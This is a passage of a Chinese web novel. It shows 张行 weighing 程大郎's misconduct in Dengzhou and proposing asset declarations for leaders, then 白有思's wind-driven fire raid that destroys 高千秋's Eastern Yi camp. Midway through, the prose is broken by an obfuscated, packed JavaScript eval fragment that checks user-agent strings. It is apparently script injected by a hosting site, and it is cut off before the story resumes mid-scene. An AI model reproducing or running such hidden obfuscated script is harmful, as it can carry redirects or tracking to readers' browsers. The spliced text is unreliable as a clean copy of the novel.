张行点了下头:“这话还有道理。” 程大郎心中一凉且一惊——敢情真是因为这种事情上了计较,可这算什么事啊?回登州才大半年,怎么变成这样了?李枢一走跟行宫一入影响这么大吗? 正想着呢,张行却似乎看破了程大郎的想法,直接来问:“程大郎是不是觉得这才回登州大半年,帮里怎么就这样了?这种事也算个事?” 晓得对方脾气的程大郎只能点头。 “那我说句公道话。”张行叹口气,依旧坐在那里不动。“单指这第一件事,你并没有任何违背法度的地方,若以此来治罪,人心皆不服,连我都觉得不以为然,所以我不会治你的罪,甚至不会拿这件事与你做任何指斥与计较。” 程大郎心下一松,却还是觉得糊涂——你到底计不计较? “我不服!”也就是此时,旁边白金刚毫不犹豫,大声来对,隐隐失态。 登州总管府后堂上一时鸦雀无声,而明明是白金刚突然失态对抗了张首席,有些自取其辱的意味,但不知道为什么,最慌的居然是程知理。 张行丝毫不慌,只是再去看白金刚:“白头领,我知道你这人志怀霜雪,闻善则惊、闻恶则怒,但我们现在掌管**个行台几十个郡,几千万人口,不能只凭好恶而枉顾律法帮规来做事情,否则只会徒劳生乱……” “那就坐视这等事不管吗?”白金刚怒气不减。 “当然不能。”张行进一步解释道。“我的意思是,凡事要从制度层面来做解决……就好像这一次,发生这样的事情,不能认为是程大郎的责任,因为他确实没有违反律法和帮规,而且这种情况下就算是没有程大郎这么做,将来出类似的事情,只怕还有其他人这么做……所以,我们要做得有两点,第一个,不能拿这件事情来定程大郎的罪过;第二个,想个法子,立个新的帮规,让以后这种事情被防范。” 白金刚立在那里,喘着粗气,既像是被说服了,又好像是依旧不忿一般。 这个时候,高金刚在旁不慌不忙提醒:“老白,首席说的有道理,你若是依着性子处置人,便是成了,也坏了《黜龙律》跟帮规,让更多的人以为律法跟帮规不值一提,到时候害处更大。” “若是这般说,倒显得是我不知轻重。”白金刚听完,立即吐了口气。“只是新帮规该如何立呢?不许头领家眷经商置业?” “当然不行。”张行立即严肃更正。“且不说咱们没这个本事约束他们,便是有,也不能约束长远,更不该去约束,因为人性逐利,管得了一时,管不了一世,管了以后怕是还会弹回来,便是咱们黜龙帮也是以利来合人的……白头领,我与你认真做个警告,天下万事万物以人为本,而既是人,便有好的有坏的,有忠孝仁义的也有狡猾卑鄙的,有求公利的就有求私利的,这是天性,既不能把人简单的分门别类,也不能指望着能有什么法子把所有人都扭转成你想要的样子,非要那般做,只会自取灭亡。” 张行言语说的郑重,周围人都不好说话,而白金刚思索片刻,却是给出了一个不算意料之外的回复:“我不信张首席的断言,我出白帝观就是为了让天下人都干干净净的,但首席毕竟是首席,我此时也愿意暂时服从,唯独等到了年底开大会的时候,我便要往大会上提不许头领亲眷经商的案,只是不知道首席会提什么案来应对这种事情?” “我觉得帮内头领级别以上的人都应该将自家工坊、商铺资产汇报,就好像田产入档一样,专门设档案来存。”张行给出自己的方案。“每年拿出来给所有头领一起看。” “这就行了?”白金刚明显不服。 “我觉得已经是比较好的了,也能起到震慑作用。”张行认真道。“若是谁当权的时候家里几年内资产涨的过头了,便可让大家都心里有数,然后将他的权位收起来……就这样,再过几年了,大家都习惯了,你还可以提一个新帮规,谁家及其亲眷短时间内资产增加的过多,说不清楚的那种,便可罢了他的职。至于瞒报,更不用说,直接罢免便是。” 白金刚这次没有再气闷,反而颔首:“若是能按部就班把人跟事情抬上去,也不是不行。” 其余人不说,旁边程大郎倒是心里松了口气。 无他,真要是这白金刚撞个头破血流,倒霉的固然是这个光头,可自己算什么?到时候不是错也是错了,营私二字是死活躲不开了。 “第一件事这般计较,大家以为如何?谁还有不同意见?”张行见到白金刚松口,立即追问,见到没有人驳斥,便继续往下走。“授田的事情怎么说?” “若是第一件事是这般计较,授田的事情也无话可说。”雄伯南叹了口气,接上了话。“因为程大郎自是登州代总管,又是奉命来征四营卫戍兵的,自然有权招募任用……这也是合乎规矩跟律法的,只是有些操切罢了。” “非只如此。”就在这时,一直没吭声的房敬伯忽然出列,然后朝四面团团恭敬行礼。“将自徐州归登州的户口放回原籍授田,其实是在下建议的……为的是登州人少,想尽量吸引这些人归乡。” “原来如此。”张行点头应承。 “至于第三件事,这件事确系是我们不能尽职尽责,但也事出有因。”房敬伯继续解释。“一开始是顾忌授田的时机,因为秋收才方便授田,就想着秋收后再执行开释奴籍的政策,结果秋后却又晓得白总管要带着十万之众回来,这些人与奴籍类似,复又想着等白总管回来,一并处置。” 张行点点头:“也有些道理。” “但还是有不容辩解之处的,譬如对徐州回来的形势户过于优容,害怕提前执行一些帮内方略会吓到他们,然后不愿意回来了……而这就是登州本地官吏的私心了。”房敬伯继续解释。 “可以理解。”张行也继续点头。“但要立即执行,不能再拖延了。” “是。”房敬伯赶紧应声。 张行却又看向雄伯南:“天王,我觉得第三件事反而只是小问题,有错就改,没做就补,有情就谅,有理就服,反而是第二件事跟第一件事类似,看起来没有什么法度帮规上的问题,却显得瓜田李下,不得不做计较……” “是这个道理,这些事情,如果不计较,什么事都不是,可若是计较起来,怎么诛心也不为过。”雄伯南的脸色一直不好看。“所以,我也赞同首席的意思,这是我们自家帮规的漏洞,得亡羊补牢的补起来……而且这第二条反而好补许多,从今年年底的这次整军开始,中级军官的任命要从军务部那里走。” “正是此意。”张行立即点头,复又去看白金刚等人。“你们可有别的异议?” 白金刚等人面面相觑,一时无言。 “那我再多说几句。”张行看着白金刚,很明显有针对性。“白头领,登州肯定是有问题的,尤其是主政管军之人觉得天高行台远,无视法度帮规肆意妄为是跑不了的。但是,登州人口流失是人尽皆知的事情,白总管跟一万多登州核心力量被风刮走更是无妄之灾,这个时候我们任命程大郎来做这个登州的代总管,其实对有些情况是有些认知的,换言之,程大郎他们是有错的,但这个错起码有七分该我这个作任命的人来担。” 白金刚闻言面色舒缓了不少,拱手以对:“首席之前说的已经很好了,但反而没有这话妥当。” 那意思就是这个理由还行,之前的理由他还是不服。 雄伯南见状,也赶紧来言:“这事不能只归到张首席身上,当初程大郎的任命是张首席提出来的不错,却是大家一起认可的,若是当时赞同的人不晓得登州情况,反而算失职。” 话到这里,程大郎是真觉得如释重负了,总算是过关了。 果然,白金刚没有再纠结,张行也继续来问:“可还有别的事情?” 雄伯南一声不吭,低头不语,几位随他来的金刚也都默不作声。 还是白金刚熟悉自家几个师兄弟,原本已经坐回去了,此时复又来问:“莫非还有什么不好的讯息?” 程大郎原本也要坐回去,听到这话反而差点跳起来,直接回头来问:“若是有什么,还请天王说清楚,我肩膀窄,可担不动许多罪过!” 这也是个带气的。 无奈之下,雄伯南叹了口气,只在张行的逼视下开了口:“是有事,但不是登州的事情,有几位金刚从各处地方带过来的消息,也有哨骑带来的消息,都不是什么好事……偏偏首席来之前专门没带哨骑与文书,就是不想分心,我也担心落龙滩那里情势复杂,怕影响首席作战。” “既还是传来了,说来听听也无妨。”张行不以为然。“反正还有两三日兵马才能齐全。” 雄伯南回头去看随行的三位金刚,三位金刚对视一眼,然后矮金刚率先开口:“不瞒首席,我来的时候,伍大郎那边手下有个亲信叛逃了……这是伍家被抄家时跟着伍大郎逃出来的,地位比较高,基本上仅次于伍二郎跟徐开道,这一次,伍大郎要抬行台,据说也准备举荐他做太守的……” “到底为什么逃?”白金刚明显不耐了。 “听人说有两个缘故。”矮金刚正色道。“一个是因为我们……” “我们?” “就是我们这群光头。”高金刚插嘴道。“当日南阳事败,伍大郎来投的时候,大师兄只是伍大郎手下一个将领,结果现在过去了几年,伍大郎麾下的头领没多一个,反倒是我们几个光头里出了好几个头领,他心里不忿,觉得我们是幸进小人。” 白金刚目瞪口呆。 程大郎在旁边都想笑,就白金刚今日跟首席差点打起来的样子,若还算幸进,他程大郎算什么? “另一个在升迁本身上,据说他平素就自诩关西名族,之所以不能做到头领,便是小人排挤,而这次虽说伍大郎起了行台,他的位置应该没有太大问题,但任命迟迟不到,行台迟迟不起,他反而渐渐生了疑虑,只说东境人绝不会让伍大郎起行台,最后直接跑了。”矮金刚不慌不忙将事情说完。 而张行只是面无表情:“这有什么可在意的?自古以来都免不了这种人……他要是个基层军官,因为授田晚了一些,耽误了二亩地的春耕而投敌,那我们要反思,是不是赏罚做的不到位;可他一个要做太守、升头领的人,连几个月都等不得……走了也就走了。” “其实。”程大郎在旁笑道。“这事真怪不到谁身上……伍大郎的亲信,自诩关陇名族,之前不走,无外乎是跟曹氏有仇,现在司马氏跟白氏当家了,便不想在外地呆了……李枢不也是这样?” “李枢去了幽州。”雄伯南忽然开口。“被奉为座上宾,崔傥也在,而且据说幽州大将魏文达已经到了宗师境地……这是另一个坏消息,昨日哨骑送到的。” 在场众人都明显一愣,也严肃了许多。 “魏文达、王臣廓,当年都是跟天王齐名的,如今都落在天王后面了。”张行反而失笑。 “若是这么说,似乎反而是好事了。”雄伯南一愣,也不由来笑,却又不由感慨起来。“到了宗师,就不是看个人天分了,而是要看事业成就,看念想……我是靠黜龙帮的兄弟们抬起来的,魏文达是幽州整合起来了,他又成了名副其实的幽州第一大将,这才起来的,王臣廓就不知道什么时候了。” 站在门口看了半天戏的秦宝心中微动,却是在程大郎的身上落了几眼——如果自己当初没有离开登州,如今会是什么“修为”? 然而,按照张三哥这些日子毫不遮掩的一些表达,自己当日离开登州好像就是什么命数一般。 不对,那意思是说,真正的命数在于人跟人能遇到一起,而非是往何处去。 “还有吗?”屋子里的气氛明显缓和不少,张行也继续追问了下去。 “关西那里,白横秋应该是打了个大胜仗,但具体情形还不知道……” “打不赢就怪了,只是不知道战果如何,还有吗?” “淮南那里,杜盟主刚过淮河就在江都北面打了个败仗……” “有点意思……还有吗?” “没了……” “这算什么?”张行听完,反而不屑。“都是天要下雨娘要嫁人的事情,且都不足为虑。” “首席乐意听,我们也就是一说。” “若是如此,皆不足为虑。”张行见状,也就收了收味。“登州这边,准备好后勤保障,一面是几日内就要到的各营兵马后勤,一面是白总管回来可能会带来大量的流民和三征俘虏。” 程大郎和房敬伯赶紧再度起身,行礼称是。 “至于军事。”张行去看雄伯南。“还是那句话,两手准备……接应为主,要有跟东夷人动手的准备,还要通知各营主将,点略各营修行者,以做其他预备。” 雄伯南也点头:“首席这里都明白就好,咱们先把要紧的事做了……跟之前的那些比,白总管那里才是眼下的要害。” 说着也起了身。 就这样,众人各自散去,包括张行也一如既往木着脸背手而去,只是出门时朝秦宝努了下嘴。 秦宝晓得意思,低头跟上众人,眼瞅着张行拐到侧院住处,便忽然开口:“程大哥,咱们兄弟许多年没见了,昨晚上也没一起说话,且说说这些年经历。” 程大郎闻言赶紧掉头迎上,便去扯秦二袖子。 周围人只装作不见,径直接应入城部队去了。 须臾片刻,秦宝将程知理引到后院,自己依旧在门外站定。 而程知理虽然情知是张行有话要私下交待他,但入得院来,见到对方脸色,还是心下一跳,当场紧绷起来,然后方才小心翼翼拱手行礼:“首席。” “程大郎。”张行负手站在院中树下,此时黑着脸对上此人,好像昨日说‘哪有大头领给其他人下拜道理’时的如沐春风根本不存在一样。“我问你,你来答。” “是。”程知理已经紧张了。 “第一件事,就是登州产业被帮里亲眷抢占的事情,未必是你引导的,但依着你的性子,应该是乐见其成的,心里是把这类事情当成了与帮中各位头领交好的手段,是也不是?”张行冷冷来问。 程大郎低头沉默了片刻,然后头压得更低了:“是这个意思。” “第二件事也是类似,你骨子里就是忘不了你那一营骑兵,还是想掌握一营完全被你控制的精锐才能安心,内里还是想把地盘、兵马当做私人经营,是也不是?”张行继续来问。 “是。”程大郎头低的更深了,但这次答的却快了一些。 “程大郎。”张行语气松了下来,能认账还是好的。“我并不觉得你有这种私心是什么大逆不道的事情,也不觉得其他大头领、头领就比你干净,何况你还是个有本事的,能文能武,如果真要计较这些,黜龙帮早散了……但我还是要提醒你一个关键,不许嫉恨白金刚,你能做到吗?” 程大郎抬起头来,严肃以对:“当然能!” “能就好。”张行严厉呵斥。“但你不要觉得这是个什么你程大郎度量如何的事情……而是说,人家白头领是真的志怀霜雪,而你程知理也总要知道,表是表、里是里,表这个东西看起来无用,但实际上是脱不开的,真撕开了,只有里,怕是要一蹶不振的!” “属下晓得。“程知理甚至有些凝重起来。 “这次出兵你随我一起走。”张行反而叹起气来。“别处倒也罢了,唯独落龙滩这一场,三娘其实凶险异常,我之前只做是不知道,但到了眼下,再装也无用……按照总管、总指挥这一层来看,你功勋其实不足,这次在登州也做得不好,若是三娘回来,你做副总管或者去大行台领兵还好,怕只怕三娘回不来,或者重伤,登州还要你来做,就得拿出些姿态来让雄天王这些帮中兄弟晓得你的能耐和担当。” 程知理赶紧点头,却又心中醒悟——这几日见了张首席,总觉得跟前几年比木了许多,现在看来,被事情累到是真的,但也有担心白三娘的意思,而且心里总还是透亮的。 且说,话到这里,不管是之前大家聚在一起,还是眼下的私下交谈,几乎所有人都认为,白有思的难处只在落龙滩,却从未想过,落龙滩之前,必然也足够艰辛了。 午后阳光还在,但落龙滩东面的戈壁滩上却起了风,风力颇大,虽称不上飞沙走石,却也卷起戈壁滩上石缝内的灰尘和沿途河畔的柳絮、落叶,弄得昏沉一片。 这很不常见,但白有思也习惯了。 “总管,这是好事是坏事?”同样背着一捆干芦苇的王振蹙眉来问。 “是坏事。”白有思坦荡来答。“若是不起风,哨骑能看到我们,我却更容易看到他们,确保不走漏消息,起了风,就难了,更要命的是,咱们行军就更难了……当然,也有些许好处,若是临到军营前还在刮风,一则突袭容易成功,二则放火也效用快些。” 王振点点头,犹豫了一下:“那要不要缓一缓,歇一歇,等风停了再走?” 白有思也犹豫了一下,然后坚定摇头:“迟则生变!谁知道高千秋会不会察觉?而且指望着等一等就风停,未免太自作多情了。” 王振再度颔首,然后依旧显得犹豫。 “有话就说。”白有思催促道。 “总管。”王振笑道。“按照路程来算,如果没风,咱们估计是傍晚抵达,现在走了七八成的路程,对不对?” “自然如此。” “也就是说,我们已经没了退路。” “不错。” “出发前你就说,此一与一也,勇者当前,到了眼下,就更是如此,但偏偏遭遇此风,加上行军疲惫,若是等到天黑抵达,对方又发觉,咱们是不是就危险了?” “你想说什么?” “我不是想说什么,总管,我是自己不知道自己想的对不对,请你验证,但你既这般说了,就说明我想的不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于苗海浪来东夷,也不是有什么重大使命,张行当时让他过来的原因很简单——他跟白有思的通信忽然断了,信使也消失了,而苗海浪在东夷人这里熟稔,让他看看情况。 只不过,因为时间差的缘故,苗海浪这边从海路到了,那边白有思也到而已。 而且,人家苗海浪到底是代表黜龙帮张首席来的,自然也不能轻视了。 于是乎,风起之后,高副帅一边担忧局势,连番派出人去接应哨骑,另一边专门以欢迎苗海浪的名义在永久性的大营正堂设宴招待。 但说实话,气氛不是很好,尤其是三位使者面对面以后。 首先发难的是曹铭,酒过三巡后,其人忽然将酒杯掷到地上,然后便来质问:“高副帅,我诚恳请你让出道路,你不答应倒也罢了,为何反要拖着我?莫非是有计划?是不是要借着龙骨山分割之势突袭白三娘,只留我做麻痹?” 高千秋被问,却丝毫不尴尬:“齐王殿下想多了,我若是发兵,你难道看不到吗?” “那为何二番使者前日到了,今日才告诉我?”曹铭气愤不平,复又指着有些畏缩的刘延寿来问。 高千秋心中冷笑,却是毫不示弱:“因为正要查探白娘子心意……齐王殿下,你莫非以为我今日设宴是好意不成?我早晓得你与刘将军一个正一个反,一个拉一个扯,不就是想让我去龙骨山攻白娘子吗?偏偏龙骨山下白娘子营地都是芦苇所构,明摆着引我去,今日验证出来,我如何能上你们当?!” 曹铭目瞪口呆,不由指着刘延寿大怒:“你今日不说,我都不晓得他是使者……我问你,我来时怎么可能知道他在釜岭关降了?” 高千秋一愣,心下也一突,却又失笑:“自是白娘子做主,你二人连番过来互不知晓也寻常。” 话虽如此,高千秋也觉得自己是不是多想,平白错过了一次好机会。不过,他旋即就否定了这个念想,因为无论如何,都是有中计风险的。 第一波哨骑回来后,那个连泥都不糊的芦苇营寨未免太小瞧他了,真以为他会冒冒失失中计呢? 正想着呢,那边曹铭早已经彻底发作:“若是高副帅这般想,便是正经欺我了,我现在便要走回龙骨山,与白三娘说清楚,让她做好准备,发兵来攻!” 高千秋努了下嘴,下方四五个军将涌出来,护体真气一水的绿色,却都是典型的东夷军将高手了。 曹铭大怒:“高副帅,你这是什么意思?” “等风停了再走吧!”高千秋在上首叹了口气。 “高副帅。”苗海浪终于也坐不住了。“如此说来,信果然是你截的了?“ “是。” “哪有截人家夫妻私信的?”苗海浪无语至极。“你知道这般做是什么后果吗?真要跟整个黜龙帮翻脸?” “我也是无奈。”高千秋似乎不想讨论这个话题,便四下去看,然后看到一声不吭只往门外看的刘延寿,便来指点。“刘将军,你看什么呢?” 刘延寿犹豫了一下,正色来问:“高副帅,你听过,风从赤、雨从青吗?” 苗海浪一愣,也望着门外若有所思:“你是说……” 刘延寿不敢怠慢,避席俯首下拜:“高副帅,这是机会,是赤帝娘娘在提醒你,此时出击,正当其时。” 高副帅愣了一下,还没开口,旁边曹铭先破口来骂:“刘延寿,你若已经降了,便不该再行倒戈,无论往何处,反复小人谁能信你?” 苗海浪也叹了口气:“刘将军,降便降了,倒戈便也倒戈了,却要留几分余地,怎么能多此一举,行戕害之实呢?这般行为,没人敢用你呢?” 俨然是经验丰富。 刘延寿只是不吭声,去看高千秋。 高千秋犹豫片刻,负手来到砖木大堂门前,望着外面昏沉天空仔细观察,周围人也都不吭声,不少军将也都探头来看。 却只见外面昏黄一片,飞尘满天,连带着太阳都不现,偏偏空气中还隐约有些沼泽泥水腥臭味道,再加上风啸如鼓,似乎空中有什么怪兽隐藏其中一般。 正看着呢,忽然间,昏暗飞尘之上亮起一道闪电,继而隆隆声不断,自远方压了下来。 高千秋如释重负,扭头来笑:“且不说这自是秋日暑气未消,海上来了狂风,估计还要下雨,谈不上什么至尊提醒,便真是什么征兆,你这般风雷,部队奔袭数百里,怕是到地方也被人轻易打回来了。” 周围军将也都附和。 便是曹铭跟苗海浪看着这个风雷发作,也都面色严峻,刘延寿也有些无力。 因为对方说的太有道理了。 你万般计略,百般思量,对上这种天气又如何呢? 这种天气,怎么可能出兵? “快!快!快!” 十余里外,王振已经快要疯了。“披甲好了就快往前去,不要管队列了,背上芦苇,到地方就点火!抢在下雨前点火!点火!” 周围五百骑士,俱皆慌乱不堪。 而再往后二十里,亲自背着一捆芦苇步行的白有思望着天上一闪而过的电光,同样微微眯眼,却没有停下脚步,只是去看身侧部队,而整个部队却都在明显提速。 很显然,这些老兵纪律极好,也都信得过,但也正是因为如此,他们同样察觉到了可能的危机。 又过了两刻钟,一名哨骑自戈壁滩中驰入军营。 又过了一刻钟,眼瞅着已经算傍晚了,这名被风沙吹得有些晕头转向的哨骑被带到了即将散席的大堂上。 “怎么说?”高千秋坐在那里,亲自看着这名哨骑灌了半壶北地蜜酒,抹了嘴,方才来问。 哨骑不敢怠慢,赶紧将自己的经历说了出来。 “所以,你们没有接应到之前派出去的那批失踪兄弟,反而遭遇到了小股骑兵,还被他们打散,撵入到了荒滩中?”高千秋尝试总结对方经历。 那哨骑忙不迭颔首。 “小股骑兵多少?”高千秋连忙再问。 “两三百?”那哨骑有些茫然。“不敢瞒着副帅,离得有点远,就被那高手察觉到了……但大约是一两队的样子。” “这就是之前哨骑失踪的缘故了。”有军官在旁提醒。“白娘子专门分出一支小股骑兵来顺着河流做扫荡。” 高千秋连连颔首,又扫过面色都有些不佳的三名使者,然后吩咐:“却也不能不管,既只在几十里外,且分一支骑兵去,肖将军亲自去。” 刚才提醒的军官倒也没有埋怨之态,直接拱手称是,便先走了。 这个时候,高千秋已经没了心思,便来看三位使者:“三位也都去歇息吧!我营中高手颇多,最好不要动手,尤其是齐王殿下,不要觉得自己修为如何,当日执惊龙剑把分山君唤出来,又在江都伤成那样,便是治好了,也只是空壳子罢了,何必装模作样?” 曹铭愣愣看着对方,片刻后直接拂袖而去。 随即,苗海浪也起身离开,最后是刘延寿。 三人几乎前后脚回到营寨各处,然后几乎是刚一入房,便忽然闻得某处似金戈之声,也是各自骇然。 “放火!”营寨北侧,绕行戈壁转到此处上风口的王振几乎被风沙和汗水卷成泥人,此时看到属下作为,更是大怒。“不要贪图斩获,斩获又何用?趁他们没反应过来,放火!速速放火!” 五百骑不敢怠慢,俄而一人寻得火种,百人寻得火种,便是不少人火种丢失,也赶紧寻到他人,然后径直点燃芦苇捆,不过片刻,五百捆芦苇便被扔到营寨北侧各处。 大火借着风势速起,一时满寨卷起,连着营寨旁河畔的芦苇杂草,一起来烧,弄得上下通红。 惊的满营慌乱不堪。 唯有高千秋察觉到情况,巍然不乱,径直下令:“让郦将军带人拆掉北营南墙,阻止火势漫延;王将军引兵绕后去捕杀这几百骑!” 正说话间,其人忽然发觉,一道金光、一道绿光,直接从营中飞出,一东一西,绕而去北,也是心中微动,复又下令:“遣人去拿刘延寿!韩将军去助王将军,齐王跟那个苗海浪去助这股骑兵了!” 众人即刻依令而行。 而高千秋说完之后,复又安慰左右:“只是小股部队,察觉到大风,想要借火势惊扰我们,看路线都是追着哨骑来的,不是计划好的,从容应对即可,不必慌张。” 话音刚落,风沙之中,一道金光自东向西,由远而近,众人看的清楚,却是一只巨大的金色威凰,双翅张开,在众人视野中越来越大,直往此处扑来。 眼见如此,诸将俱皆色变,便是高千秋也呆若木鸡,他如何不晓得自己完全被戏弄了? 什么使者,什么引诱都是假的,都是混淆他视线的,对方一开始便是要来攻他的。 营中各处,原本稍有整备的秩序,也再度垮塌,明显混乱加了三分。 白有思既至,迎面便是原本要去拦截王振的肖并及其部属,却先越过他们,将一捆着火的芦苇自空中抛下,方才回身来战肖并。 然而,不过片刻,尚未拿下这支骑兵,一人忽然从营内钻出来,远远便呼喊做提醒:“白总管速去营中,他们要拆后营南墙!” 竟是刘延寿。 而一言罢,他居然又钻回营内,消失不见。 白有思心下一惊,不敢犹豫,径直腾起,突入后营南侧与大营结合处。 “都去。”高千秋眼见如此,心急如焚,立即回身下令。“都去拦住这白娘子!” 说完,复又跺脚:“我也去,都随我来!” 然而,高千秋亲率营中精锐至于此处,却发现自己根本无法阻挡,白有思如龙似火,扫荡诸军,肆意横行,根本拿她不下……就这样,纠缠不过两刻钟,天色黑下来之前,大火便乘着风势漫过北营,卷入中军大营。 大火如墙,又借风势,人力如何能敌? 便是凝丹高手也只能掉头逃窜。 与此同时,黑夜中,又一彪兵马自东营来袭,一并放火,而且火源源源不断,喊杀声也越来越多,更有数道光点,盈盈绕绕,直破重围而来。 两方挤压,不过片刻,便全营失控,两万之众,外加万余民夫,狼狈逃窜,相互践踏,再不能救。 十数里外,落龙滩中一处残破岗楼之上,腥风之中,一只略显老态的手微微颤抖,似乎想要抬起,却被一只更紧致有力的手给死死握住,继而缓缓放下。 随即,一个声音缓缓道来:“大都督,这场赌局,不止是你一个下了注的,我的心腹也**,国主的心腹也没了……而计划也是你先提出来的,事到如今,怎么能反悔呢?当日以十万之众为诱饵,引大魏兵马深入腹地的,难道不是你?如何此时失态?而且我们难道刻意放纵了白娘子吗?分明是人家自家磨砺长剑,劈杀至此的。” 回应这个声音的,是一阵沉默,与渐渐有些转小的风声。 过了好久,东夷大都督郦子期方才开口,语气也莫名显得清冷:“王将军,请回北营调兵!到时候我的水师也会过来,此事成与不成,我都要将这支兵马留下!东胜国将士的血固然没有白流,但也要更值当一些。” 王元德微微颔首,便下了岗楼。 此时,风沙渐消,一红一白,两轮月亮的轮廓也渐渐显露出来,居然没有下雨,反而连风都停了。 而准备启程的王元德抬起头,却发现那塔楼上的郦子期也正抬起头来,望月兴叹,且其人面目之上,皱纹清晰可见——但不知为何,又觉得天下地下,竟似乎为此老者所联。 第四十四章 归来行(10) 风势稍歇,却不耽误大火早已经翻滚如云,营寨、粮草、木料,外加落龙滩畔的芦苇与杨柳树,全都被点燃。 且说,事到如此,如果抛开一些东西,仅以理性而言,这似乎并不能直接导致一些后果,毕竟,东夷人虽然失去了营寨,可部队数量依然占据绝对优势,甚至在交战之前就已经有相当数量的部队着甲了。 而且,高端战力也没有多少损失。 与之相比,反倒是来袭的登州军长途跋涉,这种情况下,双方混战一场,似乎未必就会如何。 但实际上呢? 实际上就是东夷人一边倒的崩溃了。 士卒相互践踏,争先恐后,火势翻滚,经常将逃窜士卒卷入火海,而那些没有凝丹的基层军官在踩踏与火势之前,也宛若土鸡瓦狗一般,毫无自保之力,便是凝丹的高手们,面对着火舌与溃兵也只能选择掉头逃窜,而且慌不择路。 喊杀声与火焰吞没木材的哔啵声中,身上居然有些血渍的白有思立在原本中军大营前的望楼上,正往四面搜寻着什么,丝毫不顾望楼下层已经着火。 忽然间,其人扭头看向一处燃烧的厢房,眼瞅着房顶坍塌掉落,激起一片火星,却有一道红光从后方射来。 而白有思则纹丝不动。 “总管!”红光坠到望楼下方,赫然是马平儿,其人面色被火光映照的通红,手里还拎着一个首级,一开口居然有些发颤。“我斩了一个郎将!我的离火真气被火光遮住了,他没注意,被我一箭射中了膝盖,然后得了手!只听旁边人说姓肖!” 白有思大加赞赏:“平儿好身手!” 当然值得赞赏,一名凝丹阵斩另一名凝丹,哪怕是偷袭,也委实难得。 然而下一刻,白三娘便明显一愣:“你凝丹了?何时凝丹的?” “我其实在打龙骨山城的时候就觉得差不多了。”马平儿面色依旧发红,声音也依旧发抖。“可一直到刚刚才敢试着腾跃起来。” 白有思笑了笑:“好事!” “自然是好事。”马平儿鼓起勇气。“总管,我们是不是胜了?” “自然。” “我是说,我们是不是就可以回家了!再往前就没有阻碍了!只往前走就行了?”马平儿在下面迫切追问道。 “不是。”望楼上的白有思回答的极为干脆。“落龙滩里十之**要有阻碍!而且很可能是天大的阻碍!” “那也不要紧,因为帮里的援兵也就该到了。”马平儿也毫不迟疑。“到时候咱们又一起了!大宗师亲自来也不怕!” “说得好。”白有思微微笑道,却又抬头去看远方。 马平儿顺着对方目光去看,却只见到一片火海,什么都没看到。 而白有思微微眯眼,忽然腾起,身上却半点光辉都不见,只如离弦之箭一般飞过烈火。 烈火另一边,隔着足足小半个军营,刚刚落地的高千秋正在气喘吁吁……他和几人先试图联手阻止白有思失败,火势便起,部队也陷入混乱,这个时候又犯了一个天大的错误,那就是下令众将四下逃散,试图重整部队,结果就是部队没有重整不说,将领们也陷入到了危机。 到处都是火,所有的突袭部队都悍不畏死,仿佛中了邪一般。 而对方除了一个白娘子外,好像所有将领都是凝丹与成丹,这跟情报不符不说,关键是这些人不管修为高低、武艺强弱,却都仗着白娘子这个强点追着他们打,已经失去合击机会的东胜军诸将根本不敢恋战,宛若鼠虫一般沦为猎物。 高千秋就是从他之前不屑的曹铭那里逃出来的。 曹铭真不行,真的是空架子,一交手就察觉到了,可他高副帅就是不敢与之纠缠,只能狼狈逃窜。 下午还好好的局面,如何变成现在这个样子?还不是自己多疑多思,只以为对方诱自己去攻,却不料反而落入陷阱,居然等来了对方突袭! 正想着呢,忽然间,其人察觉一股风动,然后不由回头,便如坠冰窟,呆立当场——原来,那白娘子不知何时已经持剑到了身后。 高千秋先是往后踉跄退了几步,却又面色发紧,提刀向前进了几步:“白娘子,你知道前面还有大灾厄吗?” “不知道也能猜到。”白有思面无多余表情。 “也是。”高千秋喘了口粗气。“那你知道,你破了我这南大营,杀了我,便是大都督有所计划,最终也不会放过你吗?” “之前不知道,现在知道了。”白有思依旧平静。“但便是知道又如何?穷途归乡之人,何谈顾虑?又怎么可能将性命操于他人之手?” “也是,也是。”高千秋连连颔首。“你知道就好,你知道就好……” 下一刻,其人奋起生平之修为,鼓起全身之真气,向着前方的女子发出全力一击,巨量的弱水真气卷出,仿佛凭空扑出来一股黑色巨浪,隔空便将数丈外正在剧烈燃烧的火焰给压了下去。这还不算,真气波动接触到那正在燃烧的营房时,甚至当场升腾起了一阵水汽。 但这些没有意义。 高千秋用一种绝望的目光看着白有思在他平日摧枯拉朽的真气波中灵活上翻,如一只蝴蝶,又如一只雨燕一般轻巧,待到其人在自己刀尖上翻转一圈,长剑顺势递出,却恰好插入他的咽喉。 那个样子,好像他高千秋的弱水真气根本不存在一样。 镔铁大刀落地,长剑收回,高副帅想说什么,却只能捂着喉咙跪倒在地,而当他仰头倒下时,只看到了有些模糊的两轮圆月。 白有思立在原地,看着眼前的尸首,原本波澜不惊的面孔莫名松动了一下。 坦诚说,她有些疲惫,还有些忧虑,而且这种忧虑与疲惫是一直存在的,是从她遭遇怪风的那天就存在了,是随着她越靠近落龙滩越加深的。事实上,她也对可能的结果感到忧惧,这种忧惧不仅仅是个人的性命,更多的是领导者的责任,是一万登州军,一万船夫,七八万俘虏、流民在可能危机下的重量。 但是,仅仅是松动了一下,白有思就恢复到了原本淡漠的表情,然后挤出一丝笑意——这是张行教她的,如果不知道如何展露领导力,保持面无表情,然后时不时笑一笑就行。 大火只烧了一日便熄灭了,因为一场秋日雨水及时来袭。 这很不好,因为会让行军变得艰难起来……要知道,数万西行队伍还在龙骨山那里没过来呢。 实际上,这几日遭遇的困难比想象的多,雨水的侵袭、东夷人南大营残兵的骚扰、漫长戈壁滩上河流通路的污染,全都让队伍的转移西进变的艰难起来。 而最离谱的事情发生在第三日,就在雨水抵达的第二天,一支留在龙骨山东面的队伍,大约两千多人,趁着龙骨山隔断大队而登州核心部众又尚未折返的空档发生了**,直接向东逃窜了。 原因不问自知,必然是登州军主力消失引发了流言,然后一场雨水又给了他们逃窜的机会。 至于一路上队伍内部的矛盾,少数人对前途的忧虑和不满,大部分人的盲从和不安,更是不用多言。 而白有思听到消息也的确是不怒不惊,只是笑了一笑,便让王伏贝率部去做追赶,三日内能追上便追上,追不上便折回,以示姿态罢了。 